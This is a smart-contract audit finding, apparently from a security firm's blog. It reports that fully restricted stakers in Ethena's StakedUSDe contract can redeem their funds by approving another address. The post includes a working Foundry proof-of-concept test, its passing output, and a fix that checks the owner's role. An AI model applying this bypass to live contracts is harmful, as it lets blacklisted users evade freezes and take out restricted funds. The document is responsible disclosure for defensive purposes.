← All Posts | findings | October 29, 2023

Ethena – FULL_RESTRICTED stakers can bypass restriction through approvals

Paweł Kuryłowicz

Paweł Kuryłowicz

Managing Partner & Smart Contract Security Auditor

A restricted user can approve another address and redeem their USDe despite being restricted.

Vulnerability Details

The StakedUSDe contract implements a method to SOFTLY or FULLY restrict user address, and either transfer to another user or burn.

However there is an underlying issue. A fully restricted address is supposed to be unable to withdraw/redeem, but this can be bypassed via the approve mechanism.

The OpenZeppelin ERC4626 contract allows approved address to withdraw and redeem on behalf of another address so far there is an approval.

function redeem(uint256 shares, address receiver, address owner) public virtual override returns (uint256) 

Blacklisted users can explore this loophole to redeem their funds fully. This is because in the overridden _withdraw function, the token owner is not checked for restriction.

function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares)
    internal
    override
    nonReentrant
    notZero(assets)
    notZero(shares)
   {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) {
    revert OperationNotAllowed();
    }


Also in the overridden _beforeTokenTransfer there is a clause added to allow burning from restricted addresses:

  function _beforeTokenTransfer(address from, address to, uint256) internal virtual override {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && to != address(0)) {
      revert OperationNotAllowed();
    }


All these issues allows a restricted user to simply approve another address and redeem their usde.

Proof of Concept

This is a foundry test that can be run in the StakedUSDe.blacklist.t.sol in the test/foundry/staking directory

// SPDX-License-Identifier: MIT
pragma solidity >=0.8;

/* solhint-disable private-vars-leading-underscore  */
/* solhint-disable func-name-mixedcase  */
/* solhint-disable var-name-mixedcase  */

import {console} from "forge-std/console.sol";
import "forge-std/Test.sol";
import {SigUtils} from "forge-std/SigUtils.sol";

import "../../../contracts/USDe.sol";
import "../../../contracts/StakedUSDe.sol";
import "../../../contracts/interfaces/IUSDe.sol";
import "../../../contracts/interfaces/IERC20Events.sol";
import "../../../contracts/interfaces/ISingleAdminAccessControl.sol";

contract StakedUSDeBlacklistTest is Test, IERC20Events {
  USDe public usdeToken;
  StakedUSDe public stakedUSDe;
  SigUtils public sigUtilsUSDe;
  SigUtils public sigUtilsStakedUSDe;
  uint256 public _amount = 100 ether;

  address public owner;
  address public alice;
  address public bob;
  address public greg;

  bytes32 SOFT_RESTRICTED_STAKER_ROLE;
  bytes32 FULL_RESTRICTED_STAKER_ROLE;
  bytes32 DEFAULT_ADMIN_ROLE;
  bytes32 BLACKLIST_MANAGER_ROLE;

  event Deposit(address indexed caller, address indexed owner, uint256 assets, uint256 shares);
  event Withdraw(
    address indexed caller, address indexed receiver, address indexed owner, uint256 assets, uint256 shares
  );
  event LockedAmountRedistributed(address indexed from, address indexed to, uint256 amountToDistribute);

  function setUp() public virtual {
    usdeToken = new USDe(address(this));

    alice = makeAddr("alice");
    bob = makeAddr("bob");
    greg = makeAddr("greg");
    owner = makeAddr("owner");

    usdeToken.setMinter(address(this));

    vm.startPrank(owner);
    stakedUSDe = new StakedUSDe(IUSDe(address(usdeToken)), makeAddr('rewarder'), owner);
    vm.stopPrank();

    FULL_RESTRICTED_STAKER_ROLE = keccak256("FULL_RESTRICTED_STAKER_ROLE");
    SOFT_RESTRICTED_STAKER_ROLE = keccak256("SOFT_RESTRICTED_STAKER_ROLE");
    DEFAULT_ADMIN_ROLE = 0x00;
    BLACKLIST_MANAGER_ROLE = keccak256("BLACKLIST_MANAGER_ROLE");
  }

  function _mintApproveDeposit(address staker, uint256 amount, bool expectRevert) internal {
    usdeToken.mint(staker, amount);

    vm.startPrank(staker);
    usdeToken.approve(address(stakedUSDe), amount);

    uint256 sharesBefore = stakedUSDe.balanceOf(staker);
    if (expectRevert) {
      vm.expectRevert(IStakedUSDe.OperationNotAllowed.selector);
    } else {
      vm.expectEmit(true, true, true, false);
      emit Deposit(staker, staker, amount, amount);
    }
    stakedUSDe.deposit(amount, staker);
    uint256 sharesAfter = stakedUSDe.balanceOf(staker);
    if (expectRevert) {
      assertEq(sharesAfter, sharesBefore);
    } else {
      assertApproxEqAbs(sharesAfter - sharesBefore, amount, 1);
    }
    vm.stopPrank();
  }

 
    function test_fullBlacklist_withdraw_pass() public {
    _mintApproveDeposit(alice, _amount, false);

    vm.startPrank(owner);
    stakedUSDe.grantRole(FULL_RESTRICTED_STAKER_ROLE, alice);
    vm.stopPrank();
    //@audit-issue assert that alice is blacklisted
   bool isBlacklisted = stakedUSDe.hasRole(FULL_RESTRICTED_STAKER_ROLE, alice);
   assertEq(isBlacklisted, true);
  //@audit-issue The staked balance of Alice
    uint256 balAliceBefore = stakedUSDe.balanceOf(alice); 
    //@audit-issue The usde balance of address 56
    uint256 bal56Before = usdeToken.balanceOf(address(56));
    vm.startPrank(alice);
    stakedUSDe.approve(address(56), _amount);
    vm.stopPrank();
    
    //@audit-issue address 56 receives approval and can unstake usde for Alice after a blacklist
    vm.startPrank(address(56));
    stakedUSDe.redeem(_amount, address(56), alice);
    vm.stopPrank();
      //@audit-issue The staked balance of Alice
     uint256 balAliceAfter = stakedUSDe.balanceOf(alice);
     //@audit-issue The usde balance of address 56
     uint256 bal56After = usdeToken.balanceOf(address(56));

      assertEq(bal56Before, 0);
      assertEq(balAliceAfter, 0);
      console.log(balAliceBefore);
      console.log(bal56Before);
      console.log(balAliceAfter);
      console.log(bal56After);

  }
}

Here we use address(56) as the second address, and we see that the user can withdraw their 100000000000000000000 tokens that was restricted.

This is the test result showing the balances.

[PASS] test_fullBlacklist_withdraw_pass() (gas: 239624)
Logs:
100000000000000000000 // Alice staked balance before
0 // address(56) USDe balance before
0 // Alice staked balance after
100000000000000000000 // address(56) USDe balance after

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.68ms

Impact

MEDIUM – A restricted user can simply approve another address and redeem their USDe.

Recommendation

Check the token owner as well in the _withdraw function:

    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver) || hasRole(FULL_RESTRICTED_STAKER_ROLE, _owner) ) {
      revert OperationNotAllowed();
    }

References

Join the newsletter now

Please wait...

Thank you for sign up!